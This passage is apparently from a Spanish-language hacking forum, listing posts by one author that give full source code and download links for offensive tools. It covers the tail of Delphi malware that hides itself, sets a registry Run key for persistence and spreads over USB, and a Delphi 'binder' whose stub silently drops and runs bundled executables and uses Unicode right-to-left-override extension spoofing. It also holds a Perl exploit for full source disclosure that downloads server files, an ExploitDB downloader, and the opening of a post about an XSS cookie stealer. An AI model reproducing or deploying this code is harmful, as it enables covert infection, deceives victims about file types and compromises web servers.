         nombrereal := ExtractFileName(paramstr(0));
         yalisto := directorio_final + '/' + nombrereal;

         if not(DirectoryExists(directorio_final)) then
         begin
           CreateDir(directorio_final);
         end;

         // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
         MoveFile(pchar(paramstr(0)), pchar(yalisto));
         if (hide_op = '1') then
         begin
           SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
         end;
         if (FileExists('7z.dll')) then
         begin
           // CopyFile(pchar('7z.dll'),
           // pchar(directorio_final + '/' + '7z.dll'), False);
           MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
           if (hide_op = '1') then
           begin
             SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
               FILE_ATTRIBUTE_HIDDEN);
           end;
         end;

         ChDir(directorio_final);

         if (hide_op = '1') then
         begin
           SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
         end;

         try
           begin
             RegCreateKeyEx(HKEY_LOCAL_MACHINE,
               'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
               REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
             RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
             RegCloseKey(registro);
           end;
         except
           //
         end;

         // Writeln('[+] Searching USB ...');

         BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);

         while (1 = 1) do
           Sleep(5000);
       end
       else
       begin
         // Writeln('[+] Offline');
       end;

     except
       on E: Exception do
         Writeln(E.ClassName, ': ', E.Message);
     end;

    end.

    // The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=LhRZZrUGPA8[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#69
Programación General / [Delphi] DH Binder 1.0
27 Febrero 2015, 16:40 PM
Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado
  • El builder incluye un File Pumper,Icon Changer y Extension Spoofer

    Una imagen :



    Los codigos :

    El generador.

    Código (delphi) [Seleccionar]

    // DH Binder 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    unit binder;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
      Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
      StrUtils;

    type
      TForm1 = class(TForm)
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        TabSheet2: TTabSheet;
        TabSheet3: TTabSheet;
        PageControl2: TPageControl;
        TabSheet4: TTabSheet;
        TabSheet5: TTabSheet;
        GroupBox1: TGroupBox;
        PageControl3: TPageControl;
        TabSheet6: TTabSheet;
        TabSheet7: TTabSheet;
        TabSheet8: TTabSheet;
        files: TListView;
        StatusBar1: TStatusBar;
        GroupBox2: TGroupBox;
        archivo_nuevo: TEdit;
        Button1: TButton;
        GroupBox3: TGroupBox;
        execute: TComboBox;
        abrir: TOpenDialog;
        GroupBox4: TGroupBox;
        Button2: TButton;
        GroupBox5: TGroupBox;
        extraction: TComboBox;
        GroupBox6: TGroupBox;
        opcion_ocultar: TCheckBox;
        check_filepumper: TCheckBox;
        GroupBox7: TGroupBox;
        GroupBox8: TGroupBox;
        pumper_count: TEdit;
        UpDown1: TUpDown;
        pumper_type: TComboBox;
        check_extension_changer: TCheckBox;
        GroupBox9: TGroupBox;
        check_extension: TCheckBox;
        extensiones: TComboBox;
        GroupBox10: TGroupBox;
        check_this_extension: TCheckBox;
        extension: TEdit;
        GroupBox11: TGroupBox;
        ruta_icono: TEdit;
        Button3: TButton;
        GroupBox12: TGroupBox;
        use_icon_changer: TCheckBox;
        preview: TImage;
        imagenes: TImageList;
        menu: TPopupMenu;
        C1: TMenuItem;
        Image2: TImage;
        GroupBox13: TGroupBox;
        Button4: TButton;
        TabSheet9: TTabSheet;
        GroupBox14: TGroupBox;
        Image3: TImage;
        Label1: TLabel;
        D1: TMenuItem;
        abrir_icono: TOpenDialog;
        procedure Button1Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure D1Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    procedure file_pumper(archivo: string; cantidad: LongWord);
    var
      arraycantidad: array of Byte;
      abriendo: TFileStream;
    begin
      abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
      SetLength(arraycantidad, cantidad);
      ZeroMemory(@arraycantidad[1], cantidad);
      abriendo.Seek(0, soFromEnd);
      abriendo.Write(arraycantidad[0], High(arraycantidad));
      abriendo.Free;
    end;

    procedure extension_changer(archivo: string; extension: string);
    var
      nombre: string;
    begin
      nombre := ExtractFileName(archivo);
      nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
        [rfReplaceAll, rfIgnoreCase]);
      nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
      MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      if (abrir.execute) then
      begin
        archivo_nuevo.Text := abrir.FileName;
      end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      icono: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
    begin

      if (FileExists(archivo_nuevo.Text)) then
      begin
        icono := TIcon.Create;
        files.Items.BeginUpdate;

        with files do
        begin

          listate := files.Items.Add;

          listate.Caption := ExtractFileName(archivo_nuevo.Text);
          listate.SubItems.Add(archivo_nuevo.Text);
          listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
          listate.SubItems.Add(execute.Text);

          SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
            SHGFI_ICON or SHGFI_SMALLICON);
          icono.Handle := getdata.hIcon;
          listate.ImageIndex := imagenes.AddIcon(icono);

          DestroyIcon(getdata.hIcon);

        end;

        files.Items.EndUpdate;

        archivo_nuevo.Text := '';

        StatusBar1.Panels[0].Text := '[+] File Added';
        Form1.StatusBar1.Update;
      end
      else
      begin
        StatusBar1.Panels[0].Text := '[-] File not exists';
        Form1.StatusBar1.Update;
      end;

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
      if (abrir_icono.execute) then
      begin
        ruta_icono.Text := abrir_icono.FileName;
        preview.Picture.LoadFromFile(abrir_icono.FileName);
      end;
    end;

    procedure TForm1.Button4Click(Sender: TObject);
    var
      i: integer;
      nombre: string;
      ruta: string;
      tipo: string;
      savein: string;
      opcionocultar: string;
      lineafinal: string;
      uno: DWORD;
      tam: DWORD;
      dos: DWORD;
      tres: DWORD;
      todo: Pointer;
      change: DWORD;
      valor: string;
      stubgenerado: string;
      ruta_archivo: string;
      tipocantidadz: string;
      extensionacambiar: string;

    begin

      StatusBar1.Panels[0].Text := '[+] Working ...';
      Form1.StatusBar1.Update;

      if (files.Items.Count = 0) or (files.Items.Count = 1) then
      begin
        ShowMessage('You have to choose two or more files');
      end
      else
      begin
        stubgenerado := 'done.exe';

        if (opcion_ocultar.Checked = True) then
        begin
          opcionocultar := '1';
        end
        else
        begin
          opcionocultar := '0';
        end;

        if (extraction.Items[extraction.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := extraction.Items[extraction.ItemIndex];
        end;

        DeleteFile(stubgenerado);
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
          'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado), True);

        ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;

        uno := BeginUpdateResource(PChar(ruta_archivo), True);

        for i := 0 to files.Items.Count - 1 do
        begin

          nombre := files.Items[i].Caption;
          ruta := files.Items[i].SubItems[0];
          tipo := files.Items[i].SubItems[2];

          lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
            '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
          lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
            '[63686175]';

          dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          tam := GetFileSize(dos, nil);
          GetMem(todo, tam);
          ReadFile(dos, todo^, tam, tres, nil);
          CloseHandle(dos);
          UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
            MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

        end;

        EndUpdateResource(uno, False);

      end;

      //

      if (check_filepumper.Checked) then
      begin
        tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
        if (tipocantidadz = 'Byte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
        end;
        if (tipocantidadz = 'KiloByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
        end;
        if (tipocantidadz = 'MegaByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
        end;
        if (tipocantidadz = 'GigaByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
        end;
        if (tipocantidadz = 'TeraByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
        end;
      end;

      if (use_icon_changer.Checked) then
      begin
        try
          begin
            change := BeginUpdateResourceW
              (PWideChar(wideString(ruta_archivo)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(ruta_icono.Text)));
            EndUpdateResourceW(change, False);
          end;
        except
          begin
            //
          end;
        end;
      end;

      if (check_extension_changer.Checked) then
      begin
        if not(check_extension.Checked and check_this_extension.Checked) then
        begin
          if (check_extension.Checked) then
          begin
            extensionacambiar := extensiones.Items[extensiones.ItemIndex];
            extension_changer(ruta_archivo, extensionacambiar);
          end;
          if (check_this_extension.Checked) then
          begin
            extension_changer(ruta_archivo, extension.Text);
          end;
        end;
      end;

      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;

    end;

    procedure TForm1.C1Click(Sender: TObject);
    begin
      files.Clear;
      imagenes.Clear;
    end;

    procedure TForm1.D1Click(Sender: TObject);
    begin
      files.DeleteSelected;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      abrir.InitialDir := GetCurrentDir;
      abrir_icono.InitialDir := GetCurrentDir;
      abrir_icono.Filter := 'ICO|*.ico|';
    end;

    end.

    // The End ?


    El Stub.

    Código (delphi) [Seleccionar]

    // DH Binder 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    program stub;

    uses
      System.SysUtils, ShellApi, Windows;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure cargar_archivo(archivo: TFileName; tipo: string);
    var
      data: SHELLEXECUTEINFO;
    begin
      if (FileExists(archivo)) then
      begin
        ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
        data.cbSize := SizeOf(SHELLEXECUTEINFO);
        data.fMask := SEE_MASK_NOCLOSEPROCESS;
        data.Wnd := 0;
        data.lpVerb := 'open';
        data.lpFile := PChar(archivo);
        if (tipo = 'Show') then
        begin
          data.nShow := SW_SHOWNORMAL;
        end;
        if (tipo = 'Hide') then
        begin
          data.nShow := SW_HIDE;
        end;
        if not ShellExecuteEx(@data) then
          if GetLastError <= 32 then
          begin
            SysErrorMessage(GetLastError);
          end;
      end;
    end;

    //

    // Start the game

    function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
    var
      data: DWORD;
      uno: DWORD;
      dos: DWORD;
      cinco2: string;
      nombre: string;
      tipodecarga: string;
      ruta: string;
      ocultar: string;

    begin

      Result := True;

      cinco2 := cinco;
      cinco2 := regex(cinco2, '[63686175]', '[63686175]');
      cinco2 := dhencode(cinco2, 'decode');
      cinco2 := LowerCase(cinco2);

      nombre := regex(cinco2, '[nombre]', '[nombre]');
      tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
      ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
      ocultar := regex(cinco2, '[hide]', '[hide]');

      if not(tipodecarga = '') then
      begin
        data := FindResource(0, cinco, cuatro);

        uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
          nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
        WriteFile(uno, LockResource(LoadResource(0, data))^,
          SizeOfResource(0, data), dos, nil);

        CloseHandle(uno);

        if (ocultar = '1') then
        begin
          SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
        end;

        if (tipodecarga = 'normal') then
        begin
          // Writeln('Abriendo normal');
          cargar_archivo(ruta + nombre, 'Show');
        end;
        if (tipodecarga = 'hide') then
        begin
          // Writeln('Abriendo oculto');
          cargar_archivo(ruta + nombre, 'Hide');
        end;
      end;
    end;

    begin

      EnumResourceNames(0, RT_RCDATA, @start, 0);

    end.

    // The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=GnyKSmXR9q4[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.
#70
Scripting / [Perl] FSD Exploit Manager 0.6
20 Febrero 2015, 17:30 PM
Un simple script en Perl para explotar la vulnerabilidad Full Source Discloure solo ponen el link de la pagina vulnerable con el path y pueden bajar archivos de forma facil con este script.

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#FSD Exploit Manager 0.6
#(C) Doddy Hackman 2014

use Getopt::Long;
use Color::Output;
Color::Output::Init;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use File::Basename;
use Cwd;

my $nave = LWP::UserAgent->new();
$nave->agent( $agents[ rand @agents ] );
$nave->timeout(5);

installer();

GetOptions(
   "scan=s" => \$scan,
   "fpd"    => \$fpd,
   "logs"   => \$logs,
   "open"   => \$open
);

head();

if ($scan) {

   my $page = $scan;

   printear("\n[+] Scanning target : ");
   print $page. "\n\n";

   my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);

   my $me = basename($path);

   $code1 = toma( $page . $me );
   if ( $code1 =~ /header\((.*)Content-Disposition: attachment;/ig ) {
       printear_titulo("[+] Vulnerable\n");
       $code2 = toma( $page . "'" );
       if (   $code2 =~ /No such file or directory in <b>(.*)<\/b> on line/
           or $code2 =~
           /No existe el fichero o el directorio in <b>(.*)<\/b> on line/ )
       {
           my $ruta    = $1;
           my $cambiar = basename($ruta);
           $ruta =~ s/$cambiar//;

           my $prompt = "";

           if ($fpd) {
               printear("\n[+] Full Path Dislocure Detect : ");
               print $ruta. "\n";
               $prompt = "[" . $ruta . "] > ";
           }
           else {
               $prompt = "[prompt] > ";
           }

           unless ( -d $auth ) {
               mkdir( $auth, "0777" );
               chmod 0777, $auth;
           }
           chdir($auth);

           printear("\n[+] File Downloader : ");
           print "Ready\n";

           while (1) {
               $SIG{INT} = \&adios;
               printear_titulo( "\n" . $prompt );
               chomp( my $comando = <stdin> );
               if ( $comando =~ /!exit/ ) {
                   adios();
               }
               elsif ( $comando =~ /!read_file (.*)/ ) {
                   my $archivo = $1;
                   my $code    = "";
                   my $code    = toma( $page . $archivo );

                   printear_logo(
"\n----------------------------------------------------\n"
                   );
                   printear_titulo($code);
                   printear_logo(
"\n----------------------------------------------------\n"
                   );

               }
               elsif ( $comando =~ /!download_file (.*)/ ) {
                   my $archivo = $1;
                   my $nombre  = basename($archivo);
                   printear_titulo("\n[+] Downloading file : ");
                   print $nombre. "\n";
                   if ( $nave->mirror( $page . $archivo, $nombre ) ) {
                       printear("\n[+] File Downloaded\n");
                       if ($open) {
                           my $abrir = getcwd() . "/" . $nombre;
                           if ( -f $abrir ) {
                               abrir_archivo($abrir);
                           }
                           if ( !defined($logs) ) {
                               if ( -f $abrir ) {
                                   unlink($abrir);
                               }
                           }
                       }

                   }
                   else {
                       printear("\n[-] File not downloaded\n");
                   }
               }
               elsif ( $comando =~ /!help/ ) {
                   printear( "\n[+] Commands : " . "\n\n" );
                   printear("!download_file <file> : Download file\n");
                   printear("!read_file <file> : Read File\n");
                   printear("!help : Show commands\n");
                   printear("!exit : To exit the program\n");
               }
               else {
                   printear("\n[-] Command not found , try using !help\n");
               }

           }

       }
   }
   else {
       printear_titulo("[-] Not vulnerable\n");
   }
}
else {
   sintax();
}

copyright();

sub abrir_archivo {
   my $os = $^O;
   if ( $os =~ /Win32/ig ) {
       system(qq(notepad.exe "$_[0]"));
   }
   else {
       system(qq(gedit '$_[0]'));
   }
}

sub printear {
   cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
   cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
   cprint( "\x0310" . $_[0] . "\x030" );
}

sub sintax {
   printear("\n[+] Sintax : ");
   print "perl $0 <option> <value>\n";
   printear("\n[+] Options : \n\n");
   print "-scan <page> : FSD Exploit Scanner\n";
   print "-fpd : Check Full Path Discloure\n";
   print "-logs : Enable logs to save files downloaded\n";
   print "-open : Enable open files downloaded\n";
   printear("\n[+] Example : ");
   print "perl fsd.pl -scan http://localhost/download.php?down= -fpd -logs\n";
   copyright();
}

sub installer {
   unless ( -d "fsdlogs/" ) {
       mkdir( "fsdlogs/", "777" );
       chmod 0777, "fsdlogs/";
   }
   chdir("fsdlogs");
}

sub adios {
   printear_titulo("\n\n[+] Good Bye\n");
   copyright();
}

sub head {
   printear_logo("\n-- == FSD Exploit Manager 0.6 == --\n\n");
}

sub copyright {
   printear_logo("\n\n-- == (C) Doddy Hackman 2014 == --\n");
   exit(1);
}

sub toma {
   return $nave->get( $_[0] )->content;
}

#The End ?


Un video con ejemplos de uso :

[youtube=640,360]https://www.youtube.com/watch?v=yPKfKqat5tM[/youtube]

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
#71
Scripting / [Perl] Exploit DB Manager 0.6
13 Febrero 2015, 17:43 PM
Un simple script en Perl para buscar,leer y descargar exploits en ExploitDB.

Tienen opciones para :

  • Buscar y listar exploits
  • Leer exploit con determinado ID
  • Descargar exploit con determinado ID
  • Descargar todos los exploits de determinado nombre

    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=CxDxQNEL3gM[/youtube]

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Exploit DB Manager 0.6
    #(C) Doddy Hackman 2015

    use LWP::UserAgent;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    my @agents = (
    'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
       'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
    'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36',
    'Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0',
    'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1',
       'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
    'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
    'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'
    );

    my $nave = LWP::UserAgent->new();
    $nave->agent( $agents[ rand @agents ] );
    $nave->timeout(5);

    GetOptions(
       "search=s"       => \$search,
       "page=i"         => \$page,
       "read_exploit=s" => \$read_exploit,
       "download=s"     => \$download,
       "file=s"         => \$file,
       "download_all=s" => \$download_all
    );

    my $directorio_down = "downloads";

    unless ( -d $directorio_down ) {
       mkdir( $directorio_down, "0777" );
       chmod 0777, $directorio_down;
    }
    chdir($directorio_down);

    head();
    if ( $search ne "" ) {
       if ( $page eq "" ) {
           by_search( $search, "1" );
       }
       else {
           by_search( $search, $page );
       }
    }
    elsif ( $read_exploit ne "" ) {
       by_read_exploit($read_exploit);
    }
    elsif ($download) {

       if ($file) {
           by_download( $download, $file );
       }
       else {
           by_download( $download, "" );
       }

    }
    elsif ($download_all) {

       if ( $page ne "" ) {
           by_download_all( $download_all, $page );
       }
       else {
           by_download_all( $download_all, "1" );
       }

    }
    else {
       sintax();
    }
    copyright();

    sub by_download_all {

       my $query = $_[0];
       my $page  = $_[1];

       printear_titulo("\n[+] Searching  ...\n\n");

       my $directorio = $query;
       $directorio =~ s/\.//;
       $directorio =~ s/\=//;

       unless ( -d $directorio ) {
           mkdir( $directorio, "0777" );
           chmod 0777, $directorio;
       }
       chdir($directorio);

       my $code =
         toma( "http://www.exploit-db.com/search/?action=search&filter_page="
             . $page
             . "&filter_description="
             . $query
             . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
         );

       sleep(6);

       my %links_to_download;
       my @ids        = "";
       my @nombres    = "";
       my @links      = "";
       my @links_down = "";

       while ( $code =~
           /<a href="http:\/\/www.exploit-db.com\/exploits\/(.*?)">(.*?)<\/a>/migs
         )
       {
           my $id   = $1;
           my $name = $2;
           $name =~ s/&lt;//;
           $name =~ s/\<//;
           $name =~ s/(\s)+$//;

           my $link      = "http://www.exploit-db.com/exploits/" . $id;
           my $link_down = "http://www.exploit-db.com/download/" . $id;
           push( @nombres,    $name );
           push( @ids,        $id );
           push( @links,      $link );
           push( @links_down, $link_down );
       }

       printear("[+] Exploits Found : ");
       print int(@links) - 1 . "\n\n";

       for my $num ( 1 .. int(@links) - 1 ) {
           printear("[+] Title : ");
           print $nombres[$num] . "\n";
           printear("[+] Link : ");
           print $links[$num] . "\n";

           my $titulo = $nombres[$num];
           $titulo =~ s/=//ig;
           $titulo =~ s/\///ig;
           $titulo = $titulo . ".txt";
           printear("[+] Downloading ID : ");
           print $ids[$num];
           print "\n";
           sleep(6);

           if ( $nave->mirror( $links_down[$num], $titulo ) ) {
               printear("[+] Status : ");
               print "OK\n\n";
               chmod 0777, $titulo;
           }
           else {
               printear("[+] Status : ");
               print "FAIL\n\n";
           }
       }

       printear_titulo("[+] Finished\n");

    }

    sub by_download {

       my $id   = $_[0];
       my $file = $_[1];

       printear_titulo("\n[+] Downloading exploit ID : ");
       print $id. "\n";

       if ( $file ne "" ) {

           if (
               $nave->mirror(
                   "http://www.exploit-db.com/download/" . $id . "/", $file
               )
             )
           {
               printear( "\n[+] File '" . $file . "' Downloaded !\n" );
               chmod 0777, $file;
           }
           else {
               printear("\n[-] WTF !\n");
           }

       }
       else {
           my $code = toma( "http://www.exploit-db.com/exploits/" . $id . "/" );
           if ( $code =~ /<h1 style="(.*?)">(.*?)<\/h1>/ ) {
               my $titulo       = $2;
               my $exploit_name = $titulo;
               $titulo =~ s/\.//;
               $titulo =~ s/\=//;
               $titulo = $titulo . ".txt";
               sleep(6);
               if (
                   $nave->mirror(
                       "http://www.exploit-db.com/download/" . $id . "/", $titulo
                   )
                 )
               {
                   printear( "\n[+] File '" . $exploit_name . "' Downloaded !\n" );
                   chmod 0777, $titulo;
               }
               else {
                   printear("\n[-] WTF !\n");
               }
           }
       }

    }

    sub by_read_exploit {

       printear_titulo("\n[+] Searching  ...\n\n");

       my $id     = $_[0];
       my $code   = toma( "http://www.exploit-db.com/exploits/" . $id . "/" );
       my $source = toma( "http://www.exploit-db.com/download/" . $id . "/" );

       if ( $code =~ /<h1 style="(.*?)">(.*?)<\/h1>/ ) {
           my $titulo = $2;

           printear("[+] Title : ");
           print $titulo. "\n";
       }
       else {
           printear("[-] WTF !\n");
       }

       if ( $code =~ /Author: (.*?)</ ) {
           my $autor = $1;

           printear("[+] Author : ");
           print $autor. "\n";
       }
       if ( $code =~ /Published: (.*?)</ ) {
           my $fecha = $1;
           printear("[+] Published : ");
           print $fecha. "\n";
       }

       if ( $code =~ /Vulnerable App: &nbsp;&nbsp; <a href="(.*?)">/ ) {
           my $app = $1;
           printear("[+] Vulnerable App : ");
           print $app. "\n";
       }

       print "\n-------------------------------------\n";
       printear($source);
       print "-------------------------------------\n";

    }

    sub by_search {

       my $query = $_[0];
       my $page  = $_[1];

       printear_titulo("\n[+] Searching  ...\n\n");

       my $code =
         toma( "http://www.exploit-db.com/search/?action=search&filter_page="
             . $page
             . "&filter_description="
             . $query
             . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
         );

       my @dates   = "";
       my @nombres = "";
       my @tipos   = "";
       my @autores = "";
       my @links   = "";

       while ( $code =~ /<td class="list_explot_date">(.*?)<\/td>/migs ) {
           my $date = $1;
           push( @dates, $date );
       }

       while ( $code =~
           /<a href="http:\/\/www.exploit-db.com\/exploits\/(.*?)">(.*?)<\/a>/migs
         )
       {
           my $id   = $1;
           my $name = $2;
           $name =~ s/&lt;//;
           my $link = "http://www.exploit-db.com/exploits/" . $id;
           push( @nombres, $name );
           push( @links,   $link );
       }

       while ( $code =~
           /<a href="http:\/\/www.exploit-db.com\/platform\/(.*?)">(.*?)<\/a>/migs
         )
       {
           my $type = $2;
           push( @tipos, $type );
       }

       while ( $code =~
    /<a href="http:\/\/www.exploit-db.com\/author\/(.*?)" title="(.*?)">/migs
         )
       {
           my $autor = $2;
           push( @autores, $autor );
       }

       printear("[+] Exploits Found : ");
       print int(@links) - 1 . "\n";

       for my $num ( 1 .. int(@links) - 1 ) {
           printear("\n[+] Title : ");
           print $nombres[$num] . "\n";
           printear("[+] Date : ");
           print $dates[$num] . "\n";
           printear("[+] Type : ");
           print $tipos[$num] . "\n";
           printear("[+] Author : ");
           print $autores[$num] . "\n";
           printear("[+] Link : ");
           print $links[$num] . "\n";
       }

    }

    sub printear {
       cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
       cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
       cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub sintax {
       printear("\n[+] Sintax : ");
       print "perl $0 <option> <value>\n";
       printear("\n[+] Options : \n\n");
       print "-search <query> -page <count> : Search exploits in page\n";
       print "-read_exploit <id exploit> : Read exploit\n";
       print "-download <id exploit> : Download an exploit\n";
       print "-download_all <query> -page <count> : Download all exploits\n";
       printear("\n[+] Example : ");
       print "perl exploitdb.pl -search smf -page 1\n";
       copyright();
    }

    sub head {
       printear_logo("\n-- == Exploit DB Manager 0.6 == --\n\n");
    }

    sub copyright {
       printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
       exit(1);
    }

    sub toma {
       return $nave->get( $_[0] )->content;
    }

    #The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.
#72
PHP / [PHP] CookieManager 0.5
6 Febrero 2015, 17:46 PM
Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

    Un video con ejemplos de uso :

